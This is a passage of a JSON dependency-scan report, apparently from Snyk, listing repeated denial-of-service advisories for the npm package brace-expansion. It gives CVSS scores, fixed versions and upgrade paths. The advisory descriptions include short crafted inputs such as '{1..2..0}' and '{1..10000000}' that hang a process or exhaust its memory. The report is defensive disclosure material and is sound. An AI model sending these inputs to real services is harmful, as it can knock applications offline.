"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and 